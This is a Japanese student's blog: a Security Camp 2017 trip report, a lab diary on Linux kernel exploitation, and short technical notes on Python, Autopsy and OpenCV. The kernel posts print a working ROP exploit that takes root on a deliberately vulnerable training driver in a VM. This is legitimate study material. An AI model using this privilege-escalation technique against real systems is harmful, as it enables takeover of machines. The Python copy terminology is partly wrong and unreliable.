teppay’s log

セキュリティ、CTF、機械学習などに興味があります。情報系学生です。興味のあることを思い立った時に書きます。曖昧なことの整理にも使います。月1が目標です。

セキュリティ・キャンプ全国大会2017行ってきた

f:id:teppay:20170820224736j:plain
タイトルの通り、8/14 ~ 8/18でセキュリティ・キャンプ全国大会2017行ってきました!!

会場はクロスウェーブ府中っていうすごい綺麗なところでした。
この記事はその参加記ってやつです!
文章力なくて小学生みたいな文章だし、だらだら書いてそのまま投稿って感じなので読みにくかったらごめんなさい。

www.ipa.go.jp

参加の動機

今回、セキュリティ・キャンプへの参加を思い立ったのは、誰かのセキュリティ・キャンプに関するツイートを見たときでした。
自分は高専の学生で、大学などに比べて教員が少なく研究分野の選択肢が少ないため、そこまで興味のない暗号分野の研究を行っています。実際に興味があるのは、マルウェアなど攻撃側のことで、ちょうど大して研究をやらずにそちらの勉強をしているところでした。
勉強をしているとはいっても、イマイチやってみたいことが定まらず、ネットワークについて再勉強したり、名前に「セキュリティ」や「ハッキング」がつくような本を買って読んでいたりする程度でした。
そこで、今後自分が何をやっていきたいのか定めるため、またどんな分野があるのか知るために今回参加を決めました。
時系列で、講義内容についての詳細は公開できませんので、感想メインで書こうと思います。

-1日目

この日は学校の友達と富士急ハイランドに行っておりまして、この前事故った?「加速度世界No.1コースター ド・ドドンパ」にもしっかり乗ってまいりましたw f:id:teppay:20170820230722j:plain

0日目(出発前日)

富士急行ったあと、友達の家に泊まったので、結局家についたのはセキュキャン0日目の9時ごろでした。 この時点ではセキュキャンに持っていくカバンを引っ張り出してすらいませんでした。
なんならTシャツの毛玉取りにハマっていました。

次の日早いのに、この日毛玉取りを終えて寝られたのは日付が回ってからでした。

1日目

12:00 ~ 12:30集合で、自分は前泊組では無かったので朝が早くてきつかったです。さらに乗り換えがたくさんあるのもきつかったです。

開会!!

開会式は、まずたくさんステッカーやグッズなどをもらいました。ハンドスピナーも入っていました。
お偉いさんが何人か喋りました。

セキュリティ基礎・特別講演1・特別講演2

講師主査の上野さんによるセキュリティ基礎の講義、JPCERT/SSの小宮山さんの講演、サイバーディフェンスの大徳さんの講演がありました。
これらの中で最も記憶しているのは、「凝った形のうんこをしよう」ということです。(森見登美彦太陽の塔」参照)

チュータープレゼン

3人のチューターさんがそれぞれ自分が今やっていることについての発表をしてくださいました。
率直に言ってみなさんばけものだなと、こんなところに自分がいていいものだろうかと思いました。

2日目

この日は専門講義のみのとても濃い一日でした。とても疲れました。。。

A1 : 「PowerShellベースのマルウェアとその防御手法」

講義の前はオンメモリ・ファイルレスのマルウェアというのがあるというのは聞いたことがあったのですが、イメージがわかず、すっごく難しいことをしてるんだろうな、という印象を持っていました。
しかし実際にその仕組を聞いてみると、自分でもそのコードを見ただけで何をしているかわかるくらいに簡単な仕組みで、やばさを感じることが出来ました。
まだ一つ目の講義でしたが、自分の中ではビビッときたと言うか、マルウェアへの興味がとても湧きまして、学校の課題などをさっさと片付けてマルウェアについて勉強して行きたいと思います。
1時間目には興味のある講義がたくさんあったのですが、この講義を選んでよかったです。

D2-3 : 「カーネルエクスプロイトによるシステム権限奪取」

この講義は事前学習からエグくて、そのまんま講義もエグかったです。この講義の感想としては、正直カーネルはちょっといいかなって感じで、もしやるとしても、数年後の圧倒的成長を遂げている(であろう)自分に任せようという感じです。

3日目

この日あたりから、すでに「もう折り返しか…」と(未だ半分残っているのに)セキュキャンが終わってしまうことに悲しんでいました。

E4 : 「サイバー犯罪捜査の現場」

この講義はPCの解析だけでなく、怪しい(容疑者ともいえない)人の部屋にガサ入れに行くところから始まりました。
この講義は、とにかく事前講義の量が多くて、自分は一通りやりましたが、全部できていない人が多かった記憶があります。
事前課題でやることが多かったことから講義の実習でそれが活かせる気がしていなかったのですが、実際やってみると自分でも決定的な証拠となるファイルを見つけられてとても楽しかったです。
縁があれば、「サイバー犯罪捜査官」という道もありだなと思いました。

E5 : 「車載LAN上を流れるメッセージの取得と解析」

実際に車が操られちゃってるような動画をみて興味はあったのですが、すっごく難しいことをしているんだろうなと思ってみていました。しかし、車に搭載された端子から簡単に情報を抜き出せて、送ることもできちゃうということでとても怖いなとおもいました。

BoF

BoFっていうのは、Birds of a Featherの略でWeblioによると、

BOF birds-of-a-feather 同好の士の討論団体.
・a BOF group [meeting] BOF グループ[の集まり]

だそうで、 決してBuffer OverFlowではありません。
前半と後半に分けて2つのBoFを行いました。(←なんか文章おかしい?)

BoF前半 : 「将来のサイバー攻撃検知システムを考えよう」

これは現状のサイバー攻撃検知システムについて説明を受けたあと、今後の新しいサイバー攻撃検知システムについて議論し合うというものでした。自分の周りにはセキュリティな人がおらず、セキュリティについて議論するということがなかなか無かったのでとても新鮮で楽しかったです。

BoF後半 : 「Welcome to the Real Cyber World」

ここでお話してくださった方は、顔写真の撮影を拒否するなどサイバー空間の怖さを教えて下さいました。VPS?に設置したハニーポッド?に記録されたパケットを可視化したものも非常に興味深いものでした。自分でもハニーポッドを運用してみたいなと思いました。

企業プレゼンテーション1 : 「Recruit Technologies」

企業の方の話を聞ける機会ってなかなかないのでとても貴重な体験が出来ました。

4日目

B6 : 「AVRマイコンで作るBadUSB工作・改」

そもそも自分はこのBadUSBと言うものを、セキュキャンの講義一覧を見て初めて知ったのですが、調べれば調べるほどヤバイものだなと感じました。最後の発表会ではみんないろいろなBadUSBやGoodUSBを作っていて面白かったです。今回はAVRマイコンを使ったのですが、USBメモリファームウェアを書き換えるかたちの「ガチ」のBadUSBの仕組みについても勉強してみようと思います。

A7 : 「ファジング実習」

脆弱性を報告される側のIPAの小林さんと、脆弱性を報告する側の山下さんの両方の話を聞けて、なかなか貴重な体験だなと思いました。ファジングツールについても、実際にある脆弱性をどうやって見つけるかという実習からどうすれば見つけられるのかが分かりました。

企業プレゼンテーション2 : 「サイボウズ株式会社」

ここでは、セキュキャンの卒業生の方が話してくださって、平和な日とインシデントが起こった日を比べて説明してくださったのがとてもわかり易かったです。

5日目

グループワーク成果報告

自分たちの班は「2020年の東京オリンピックで自分たちが何をできるか」というテーマでグループワークを行いました。前にも書きましたが、自分の周りにはセキュリティな人がいないのでセキュリティに関して議論できるのはとても楽しかったです。最初はみんな遠慮がちでなかなかいい意見は出てこないような状況でしたが、時間が経つにつれて議論が発熱し、さらに楽しかったです。ただ、「徹夜はしないように」とか「早く寝ろ」とは言われていましたが、実際のところ発表スライド作成は時間割の時間外で作るしかありませんでした。

専門講義成果発表

みんなすごくて怖いなと思ったのは覚えていますが、正直眠すぎてそれ以上は覚えていません。

さいごに

最後に今回のセキュリティ・キャンプに参加できたことに関して全体的に見た感想を述べようと思います。
今回、セキュリティ・キャンプに参加して、率直に良かったと思っています。交通費から宿泊費まで、全てタダなのにもかかわらず、講義や環境もすばらしくレベルの高いものでした。そして自分のやりたいことが参加前に比べて鮮明になった気がしますし、チューターさんなどとお話できたことでわからなかったことを解決することも出来ました。
すばらしい機会を与えてくださったことに感謝します。またこの素晴らしいものに今後も関わっていけたら嬉しいと思うので、一年必死で勉強して、できれば来年またはその後でも、チューターとして参加したいと思います。
ありがとうございました。

カーネルエクスプロイト入門してみるー最終章ー

はじめに

前回までで環境構築がやっと終わったので、メインのカーネルエクスプロイトにはいります。

teppay.hatenablog.com

2 カーネルエクスプロイト!

2.1 方針

エクスプロイトの方針はるくすさんのブログに書いてある通りです。

rkx1209.hatenablog.com

任意のアドレスをコールしてくれるモジュールを起動した状態で、それに対して攻撃します。
「Stack Pivotで、カーネルのスタックを、ユーザ空間に確保した領域とすげ替える。そこでカーネルROPしてプロセスの権限を昇格させる。シェルを起動。」って感じです。たぶん

2.2 必要なアドレスの準備

Stack PivitやらカーネルROPをするために必要なGadgetのアドレスなどもろもろをまず調べます。

$ make

$ sudo insmod ropm.ko #モジュールのインストール

$ dmesg | grep addr | grep ops
[  113.396732] addr(ops) = ffffffffa02da350

$ readelf -s ./vmlinux | grep prepare_kernel_cred
 80354: 00000000bbd8387f     0 NOTYPE  GLOBAL DEFAULT  ABS __crc_prepare_kernel_cred
 83581: ffffffff8108dfb0   282 FUNC    GLOBAL DEFAULT    1 prepare_kernel_cred

$ readelf -s ./vmlinux | grep prepare_kernel_cred
 80354: 00000000bbd8387f     0 NOTYPE  GLOBAL DEFAULT  ABS __crc_prepare_kernel_cred
 83581: ffffffff8108dfb0   282 FUNC    GLOBAL DEFAULT    1 prepare_kernel_cred
teppay@teppay-VirtualBox:~/D23/kernel_exploit_world-master/chap2$ readelf -s ./vmlinux | grep commit_creds
  8043: ffffffff81ad99e0    16 OBJECT  LOCAL  DEFAULT    8 __ksymtab_commit_creds
  8044: ffffffff81b02779    13 OBJECT  LOCAL  DEFAULT   12 __kstrtab_commit_creds
  8045: ffffffff81af3c50     8 OBJECT  LOCAL  DEFAULT   10 __kcrctab_commit_creds
 80840: 0000000079f29ccd     0 NOTYPE  GLOBAL DEFAULT  ABS __crc_commit_creds
 83283: ffffffff8108dce0   542 FUNC    GLOBAL DEFAULT    1 commit_creds


$ objdump -j .text -d ./vmlinux | grep iretq | head -1
ffffffff8104df96:   48 cf                  iretq  

さらにカーネルの中のROPGadgetを検索するために、るくすさんのGithubのfind_offset.pyを使うんですが、ここでちょっとハマりました。
るくすさんのブログでは、rp++の出力を、

$ ./rp-lin-x64 --file=/path/to/linux-3.12/vmlinux --rop=3 --unique > gadgets.txt

というコマンドでテキストファイルにリダイレクトしていますが、自分の環境では、rp++の出力に色がついており、リダイレクトするとその色情報が付加されて余計なものがくっついている文字列がgadgets.txtにはいっていました。
なので、リダイレクトの前にsedコマンドを噛ませて以下のコマンドでrp++の結果を出力しました。

$ rp-lin-x64 --file=./vmlinux --rop=3 --unique | sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})*)?m//g"  > gadgets.txt

さらに、find_offset.pyを実行するとsplitがうまく行っていない旨のエラーが出るので、gadgets.txtの冒頭部分のいらないところを削除したらうまく動きました。 ↓この部分↓ f:id:teppay:20170728160306p:plain ↑↑

$ ./find_offset.py ffffffffa02da350 gadgets.txt | grep -1 "xchg eax, esp ; ret "

...
offset = 18446744073644267284
gadget = or dword [rdi], ecx ; xchg eax, esp ; ret  ;  (1 found)
stack addr = 810c5bf0
...

余計なのが前についていますが、とりあえずこのgadgetで行ってみようと思います。
のこりの細々としたGadgetもrp++で見つけて、やっと次はROPを組んでいきます。

2.3 ROP

ここまで来たら、exploit.cを自分の環境にあわせて書き換えてコンパイル・実行するだけです。 exploit.c

int main(int argc, char *argv[])
{
  int fd;
  struct drv_req req;
  void *mapped, *temp_stack;
  unsigned long base_addr, stack_addr, mmap_addr, *fake_stack;

  if (argc != 3) {
    usage(argv[0]);
    return -1;
  }
  //offset = 18446744073644267284
  req.offset = strtoul(argv[1], NULL, 10);
  base_addr  = strtoul(argv[2], NULL, 16);
  prepare_kernel_cred = 0xffffffff8108dfb0;
  commit_creds = 0xffffffff8108dce0;
  printf("array base address = 0x%lx\n", base_addr);
  stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff;
  fprintf(stdout, "stack address = 0x%lx\n", stack_addr);

  mmap_addr = stack_addr & 0xffff0000;
  assert((mapped = mmap((void*)mmap_addr, 0x20000, 7, 0x32, 0, 0)) == (void*)mmap_addr);
  assert((temp_stack = mmap((void*)0x30000000, 0x10000000, 7, 0x32, 0, 0)) == (void*)0x30000000);

  save_state();
  fake_stack = (unsigned long *)(stack_addr);
  *fake_stack ++= 0xffffffff8105182dUL; /* pop %rdi; ret */

  fake_stack = (unsigned long *)(stack_addr + 0 + 8);

  *fake_stack ++= 0x0UL;                /* NULL */
  *fake_stack ++= prepare_kernel_cred; /* prepare_kernel_cred() */

  *fake_stack ++= 0xffffffff81047c82UL; /* pop %rdx; ret */
  //*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */
  *fake_stack ++= commit_creds + 6; // commit_creds() + 2 instructions

  *fake_stack ++= 0xffffffff81033380UL; /* mov %rax, %rdi; call %rdx */

  *fake_stack ++= 0xffffffff8104d764UL; // swapgs ; pop rbp ; ret
  *fake_stack ++= 0xdeadbeefUL;         // dummy placeholder

  *fake_stack ++= 0xffffffff8104df96UL; /* iretq */
  *fake_stack ++= (unsigned long)shell; /* spawn a shell */
  *fake_stack ++= user_cs;              /* saved CS */
  *fake_stack ++= user_rflags;          /* saved EFLAGS */
  *fake_stack ++= (unsigned long)(temp_stack+0x5000000);  /* mmaped stack region in user space */
  *fake_stack ++= user_ss;              /* saved SS */


  //map = mmap((void *)..., ..., 3, 0x32, 0, 0);

  fd = open(DEVICE_PATH, O_RDONLY);

  if (fd == -1) {
    perror("open");
  }

  ioctl(fd, 0, &req);

  return 0;
}

f:id:teppay:20170729015258p:plain
はいこんな感じでできました。
画像をよく見てもらうとわかりますが、1回目の実行では/dev/vulndrvをopenする際にPermissionErrorで弾かれています。

$ sudo chmod 766 /dev/vulndrv

で一般ピーポーがドライバを読む権限を付与したうえで実行してみると、見事シェルが取れました。
“#” がrootの証です!!

まとめ

  • 知らないことが多すぎたので、今回のことで圧倒的成長できたのはまちがいない。
  • 概ね理解はできたが、細かいことがあやふやなまま。
  • 頑張ります。
  • とりあえずテスト勉強。。。やりたくない

カーネルエクスプロイト入門してみるー第2章ー

第1章の続きです。 teppay.hatenablog.com

1.3 GRUBの選択画面を表示させる

$ sudo vi /etc/default/grub
$ sudo update-grub

デバッギの/etc/default/grubGRUB_HIDDEN_TIMEOUTコメントアウトして、grub-updateして再起動。
grub-updateしないと設定が反映されないらしくて最初困った。 f:id:teppay:20170719134552p:plain この画面がGRUBの選択画面で、

Advanced opptions for Ubuntu -->
            Ubuntu, with Linux 3.12.0

を選択するとカーネルバージョン3.12で起動できます。

$ uname -r
3.12.0

カーネルコンパイルし直して起動したあとは、GuestAdditionが無効になってしまう?らしくて、共有フォルダなどを有効にするために

$ sudo apt-get -y install --reinstall virtualbox-guest-dkms

を実行。

1.4 2つのVMをシリアル接続する。

  • るくすさんのブログではやってませんが、ホストがmacだとkgdbが使えないらしく、LinuxVMをもう一つ使うと出来るらしい。
  • KGDB Tutorial - YouTubeMac上で2つのVMを接続してKGDBを使っている動画)←まさにおれ!
    これも参考にする。

  • デバッギを以下のように設定する f:id:teppay:20170719001743p:plain

  • デバッガを以下のように設定する f:id:teppay:20170719001811p:plain

    デバッギとデバッガの設定の違いは存在するパイプ/ソケットに接続にチェックがついているかいないかだけです。

    これは、片方のマシンが起動する際に/tmp/portというsocketファイル?をホスト上に作り、もう片方のマシンがそれを参照する形で2つのマシンが通信するから(っぽい)です。

    つまり、今回の場合デバッギが起動して、/tmp/portをホスト上に作り、それをデバッガが参照します。よって、デバッギ –> デバッガの順で起動しないといけません。

これで繋がったはずですが、シリアルポート接続っていうのがいまいちわかっていないのでほんとにつながっているのかわかりません。

とりあえず次に行ってみたいと思います。

1.5 netconsoleを動かす

  • ifconfigで調べると、
$ sudo modprobe netconsole netconsole=6665@192.168.1.8/eth0,6666/192.168.1.9/

これを実行して、デバッガで、

$ nc -l -u 192.168.1.9 6666

を実行すればいいらしいです。が、実行しても何も動きませんので、これまたうまく動いているのかわかりません。。。。

VMカーネルがクラッシュしたらここにダンプされます。と書いてあるので、クラッシュされないとなにもおこらないのかも。

vmlinuxというファイルをデバッガにコピー。

  • vmlinuxってなに。
  • 共有フォルダを介して、デバッギからデバッガにコピーし、参照できるようにする。
$ cp ~/linux-3.12/vmlinux /media/sf_vm_sync
  • デバッギとデバッガの共有フォルダをホスト上の同じフォルダにしてあげれば、デバッガからも見えるようになる。

1.6 カーネルデバッガを設定する。

  • やっとkgdbが出てきた。
  • デバッギのカーネルのブートオプションに以下を追加する
kernel ... kgdboc=ttyS0,115200 kgdbwait

例によって、また/etc/default/grubを編集するらしい。
“kgdboc=ttyS0,115200 kgdbwait"の部分を、GRUB_CMDLINE_LINUXに追加する。(らしい)

$ sudo vi /etc/default/grub
$ sudo update-grub

ここでも忘れずupdate-grub
これで再起動してみると、 f:id:teppay:20170719161504p:plain kgdbが起動して、リモートからのgdbを待ってますって状態で止まってくれています。

1.7 リモートのGDBから接続する

$ cd /media/sf_vm_sync
$ gdb -q
(gdb) file vmlinux
(gdb) target remote /dev/ttyS0
/dev/ttyS0 : 許可がありません。

はい。
またPermissionエラーがでました。おそらくまたグループに入れてもらうんだろうなと思いながらぐぐるとやはりそうでした。
今度はdialoutというグループに入らなければいけないので、

$ sudo gpasswd -a ユーザ名 dialout

からの再起動です。
気を取り直して、もう一度、

$ cd /media/sf_vm_sync
$ gdb -q
(gdb) file vmlinux
(gdb) target remote /dev/ttyS0
kgdb_breakpoint () at kernel/debug/debug_core.c:1014
1014   kernel/debug/debug_core.c: そのようなファイルやディレクトリはありません.

こんなエラー?はでましたが、ひとまず接続できました。

(gdb) c
Continuing.

てな感じでカーネルに制御を戻すと無事デバッギが起動しました!
めでたしめでたし(環境つくっただけ。。。)

teppay.hatenablog.com

カーネルエクスプロイト入門してみるー第1章ー

はじめに

  • セキュキャンでカーネルエクスプロイトの講義を受けるので事前学習。
  • 正直、カーネルエクスプロイトはまったくアウトオブ興味だったが、セキュキャンでは自分の興味のある分野と、まだなにも知らない分野を開拓するのがいいという誰かのツイートを見たので。
  • るくすさんのブログの記事を追っていきます。

参考文献

rkx1209.hatenablog.com

環境

1 環境構築

  • なんかMacやWinだとブログの通りすんなり行かないらしい。kgdbができない?
  • VMを2つ使うといいらしい

1.1 VM作成

  • カーネルエクスプロイトされる用のVM(Ubuntu14.04 amd 64bit)を新規作成し、GuestAdditionをインストー
  • スナップショットをとる
  • もう一つのデバッガ側のVMはもともとあったものを使用する予定
  • 共有フォルダを設定する
  • CPUのコアは多いほうがいいらしい。
  • ネットワークアダプタブリッジアダプタを割り当てる。

1.2 Linuxカーネルをビルドする

ここからデバッグされる側のVMをデバッギ、デバッグする側をデバッガと呼びます

  • ダウンロードしてきたバニラカーネル3.12のソースをダウンロードしてきて、共有フォルダを介してデバッギに送る。
  • 共有フォルダにアクセスしようとするとPermissionのエラーが出たのでぐぐる
$ sudo gpasswd -a ユーザ名 vboxsf

再起動でグループに入ってアクセスできるようになった。

  • 共有フォルダから他のフォルダにソースをコピー。
$ cp -r /media/sf_vm_sync/linux-3.12 ~/

若干時間がかかった。
コピーするだけで時間かかったので、コンパイルなどにどんな時間がかかるんだとビビる。

$ cd ~/linux-3.12
$ make localmodconfig

るくすさんのブログにEnterを叩けばいいとかいてあったので終わるまでひたすらEnterを叩いた。

$ make menuconfig
 *** Unable to find the ncurses libraries or the
 *** required header files.
 *** 'make menuconfig' requires the ncurses libraries.
 *** 
 *** Install ncurses (ncurses-devel) and try again.
 *** 
make[1]: *** [scripts/kconfig/dochecklxdialog] Error 1
make: *** [menuconfig] Error 2

このたび初めてのエラー様がお目見えしました。 ncurses-develをインストールしろって言われていますが、

$ sudo apt-get install ncurses-devel

としても、ないと言われました。 ぐぐると、

$ sudo apt-get install ncurses-dev

で良いそうです。気を取り直して、

$ make menuconfig

f:id:teppay:20170719010508p:plain

terminalが謎のGUIになりました。ここで、

Kernel Hacking ---> 
  <*> KGDB: kernel debugger

Device Drivers ---> 
  Network device support --->     
   <M> Network console logging support (EXPERIMENTAL)

をオンにすればいいそうです。

  • ビルド
$ make -j4

-jオプションは並列化のレベル?を決めるものらしいです。
単純に数字を大きくすれば高速になるというものでは無いらしく、コア数の2倍が相場らしいです。 自分の環境では10分かかりませんでした。

$ sudo make module_install
$ sudo make install

この2つはすぐ終わりました。

寝ます。

  • 最近眠くなったら寝ることにしているので寝ます。
  • 明日またやります。

第2章↓

teppay.hatenablog.com

2次元配列( list )のコピーで気をつけること

環境

状況

  • Pythonであるパズルのソルバを書いている。
  • 2次元listをコピーしようとしてハマった。

コピーの種類

浅いコピー

>>> l = [0, 0, 0]
>>> l2 = l #here!
>>> l
[0, 0, 0]
>>> l2
[0, 0, 0]
>>> l2[0] = 2
>>> l
[2, 0, 0]
>>> l2
[2, 0, 0]
>>> id(l)
4440243912
>>> id(l2)
4440243912

これを見て分かる通り、ただ代入し直しただけでは、オブジェクトがコピーされるだけで、異なる変数が同じlistオブジェクトを参照している状態になっています。
通常listをコピーしたい時にこのような浅いコピーでは使い物になりません。
そこで深いコピーです。

深いコピー

>>> l = [0, 0, 0]
>>> l2 = l[:] #here!
>>> l
[0, 0, 0]
>>> l2
[0, 0, 0]
>>> l[0] = 2
>>> l
[2, 0, 0]
>>> l2
[0, 0, 0]
>>> id(l)
4440242504
>>> id(l2)
4440234312

1次元配列をコピーする際はsliceを使うのが一般的みたいです。

2次元listをコピーする際の注意点

では2次元配列をコピーする際はどうすればいいのでしょう。

>>> l = [[0, 0, 0], [0, 0, 0], [0, 0, 0]]
>>> l2 = l[:]
>>> l
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
>>> l2
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
>>> l
[[2, 0, 0], [0, 0, 0], [0, 0, 0]]
>>> l2
[[2, 0, 0], [0, 0, 0], [0, 0, 0]]

sliceを使っても無理です。 2次元listは深いコピーできているんですが、その要素であるそれぞれのlistが浅くコピーされています。

>>> id(l)
4440234440
>>> id(l2)
4440242504
>>> id(l[0])
4440243912
>>> id(l2[0])
4440243912

じつはlist内包表記と組み合わせることで2次元listを浅くコピーすることが出来るんです。

>>> l = [[0, 0, 0], [0, 0, 0], [0, 0, 0]]
>>> l2 = [x[:] for x in l] #here!
>>> l[0][0] = 2
>>> l
[[2, 0, 0], [0, 0, 0], [0, 0, 0]]
>>> l2
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
>>> id(l[0])
4440234312
>>> id(l2[0])
4440243912

まとめ

  • sliceとlist内包表記を使うといいよ
  • 実はcopyモジュールで簡単に深いコピーできるらしいよ

Autopsy ver.4をソースからビルド、インストールしてみた on Mac

注意

今のところ、若干不具合というか、うまく動いていない感があります。
直せたらまた追記します。

目標

AutopsyのVer.4をMacBookPro(macOS Sierra)にインストールする。

動機

teppay.hatenablog.com

Autopsyって?

実際にやってみる前に、Autopsyについて簡単に。
公式サイト

www.sleuthkit.org

によると

Autopsy® is a digital forensics platform and graphical interface to The Sleuth Kit® and other digital forensics tools. It is used by law enforcement, military, and corporate examiners to investigate what happened on a computer. You can even use it to recover photos from your camera’s memory card.

つまり、

  • デジタルフォレンジクスの様々なツールをGUIで使えるやつ
  • 法的機関とか軍とかにも使われてるよ
  • でも、メモリーカードから消しちゃった写真を救出するのにも使えるよ

って感じですかね。
これを使う講義がセキュキャンであって、ツールに慣れておきたいので、インストールしたいわけです。
ちなみに、先代のWindows機を引っ張り出してきてVer4使ってみましたが、やはり全然できることもGUIも違うので、さっそく入れていきたいと思います。

0. まずmacOSにver4が入ることを再確認w

f:id:teppay:20170702161506p:plain 公式サイトのAutopsy>Downloadのページです。
真ん中あたりに、

You can run Autopsy 4 on Linux and OS X, but it must be built from source code.

とあります。
じゃあインストーラ用意してくれ
それともmacにいれるのがそもそも間違い?
強いWindows機ほしいです。Macももちろん好きよ。

1. ソースコードをダウンロードする。

上のダウンロードページにリンクがあるGitHubからダウンロードして、解凍するだけ。 とくになにも考えず、最新のものにしました。

2. とりあえず中身を見てみる。

解凍して出てきたautopsy-autopsy-4.4.0というファイルの中を覗いてみると、その直下に、BUILDING.txtという英語習いたての中学生であれば「建物?」となってしまいそうなファイルがありました。

This file outlines what it takes to build Autopsy from source.

だそうです。これにそって勧めていきたいと思います。

3. Javaを入手する

1.8.0_66かそれ以降のバージョンのJDKをインストールして、JDK_HOMEにパスを通します。
自分の環境にはJDKがすでに入っていたので、バージョンを確認する。

www.java.com

$ java -version
java version "1.8.0_111"
Java(TM) SE Runtime Environment (build 1.8.0_111-b14)
Java HotSpot(TM) 64-Bit Server VM (build 25.111-b14, mixed mode)

1.8.0_111らしいので大丈夫でしょう。だだ、JDLK_HOMEは設定されていなかったので、PATHを通します。

export JDK_HOME=$JDK_HOME:/Library/Java/JavaVirtualMachines/jdk1.8.0_111.jdk/Contents/Home

これを~/.bash_profileに追記して、

source ~/.bash_profile
echo $JDK_HOME

で設定したパスが表示されればOK

4. The Sleuth Kitをインストールしてセットアップ

言い忘れてましたが、最初のほうの英語の説明にもありますが、AutopsyはThe Sleuth Kit(TSK)(など)をGUIで使うツールなのでTSKも必要になります。

4.1 インストールする

これまた公式サイトからVer4のものを落としてきます。
落としてきたファイルを解凍して出てきたフォルダを適当な場所に移して、その直下で以下のお決まり(らしい)コマンドを順番に実行することでインストールが完了します。

$ ./configure
$ make
$ make install

makeの実行がまあまあ時間がかかります。(ました。 デフォルトでは、実行ファイルが/usr/local/binにできますので、それっぽいファイルができていれば成功ですね。

$ ls /usr/local/bin | grep tsk
tsk_comparedir
tsk_gettimes
tsk_loaddb
tsk_recover

4.2 セットアップする

これまたパスを設定する必要があるみたいです。 自分は/usr/local/srcにソースをおいたので、~/.bash_profileに以下を追記します。

$ export TSK_HOME=$TSK_HOME:/usr/local/src/sleuthkit-4.4.1

5. Autopsyのビルド・インストー

5.0 Antのインストー

Autopsyの前に、Antというビルドツールをインストールする必要があります。
Homebrewを入れているひとなら、

$ brew install ant

でOKです。Homebrew入れてない人は、これを機に入れてください。

5.1 Autopsyのビルド

やっとここまで来ました。さっきと同じようにまずはソースを適当な場所に移動して、そのrootディレクトリにcdコマンドで移動して、

$ ant

これでビルドできます。これまたまあまあ時間がかかります。ビルドって大変なんですね。。

ここで問題発生
最後にエラーが出力されました。

BUILD FAILED
/usr/local/src/autopsy-autopsy-4.4.0/netbeans-plat/8.2/harness/suite.xml:187: The following error occurred while executing this line:
/usr/local/src/autopsy-autopsy-4.4.0/Core/build.xml:56: Warning: Could not find file /usr/local/src/sleuthkit-4.4.1/bindings/java/dist/Tsk_DataModel_PostgreSQL.jar to copy.

/usr/local/src/sleuthkit-4.4.1/bindings/java/dist/Tsk_DataModel_PostgreSQL.jarってファイルをコピーしたいのにないと言われています。
試しにTsk_DataModel_PostgreSQL.jarでググってみると、

sleuthkit.org • View topic - Missing Tsk_DataModel_PostgreSQL.jar

このサイトで、

Re: Missing Tsk_DataModel_PostgreSQL.jar Postby nagesh » Tue Mar 22, 2016 8:48 pm

On building the Sleuthkit-develop project, it will create “Tsk_DataModel.jar” under folder sleuthkit-develop\bindings\java\dist\

You need to rename the generated Tsk_DataModel.jar as “Tsk_DataModel_PostgreSQL.jar”

Autopsy should now be able to build successfully.

似た名前のファイル(Tsk_DataModel.jar)があるからリネームしろって言っています

$ cd /usr/local/src/sleuthkit-4.4.1/bindings/java/dist
$ mv Tsk_DataModel.jar Tsk_DataModel_PostgreSQL.jar

もう一度ビルドし直して見ます。

$ ant

こんどは最後に、
BUILD SUCCESSFUL
がでました!!

5.2 Autopsyと起動

あとは、

$ ant run

コンパイル・実行できます。これもなかなかの時間かかりました。
f:id:teppay:20170702200146p:plain じゃん!!
できました〜〜〜 まだちゃんと動くか試していませんが、大丈夫では無いでしょうか笑

いちいち

$ ant run

するのはめんどくさい気がするんですが、antの仕組みがわからないので、これを簡単にできるのかわかりません。がこれから調べてみようと思います。

まとめ

  • ソースからのビルドに関してはわからないことが多い。
  • ひとまず「できなかった」にならなくてよかったです。

Python-OpenCVのimreadでハマった ~gif画像まざってない?~

環境

  • MacBookPro late 2016
  • Python3.6.1
  • OpenCV3.2.0

状況

  • OpenCVで顔検出するサンプルを実行してみた。
  • 意味不明なエラーが出た

解決方法

コードの一部、

import cv2

def face_detect(path, file_name):
    img = cv2.imread(path) #here
        #to be continued...

当該エラーは、

OpenCV Error: Bad flag (parameter or structure field) (Unrecognized or unsupported array type) in cvGetMat, file /Users/travis/build/skvark/opencv-python/opencv/modules/core/src/array.cpp, line 2501

ちなみに/Users/travisの部分にも心当たりがありません。

このエラーをそのまま検索して出るサイトは、「画像のパスをミスってると出るエラーだよ」って言うサイトが多いんですけど、自分の場合は間違っていませんでした。

結果

いろいろ検証した結果、gif画像をimreadしようとすると、当該エラーが出ることがわかりました。 僕は、通信をキャプチャして、その通信から画像を取り出したものを読み込もうとしていたのでgif画像が混ざっていたみたいです。

反省

ちゃちゃっと書いたので、だいぶてきとーになりました。
もし読んでくれた人がいた場合すみません。なんかあれば聞いてください。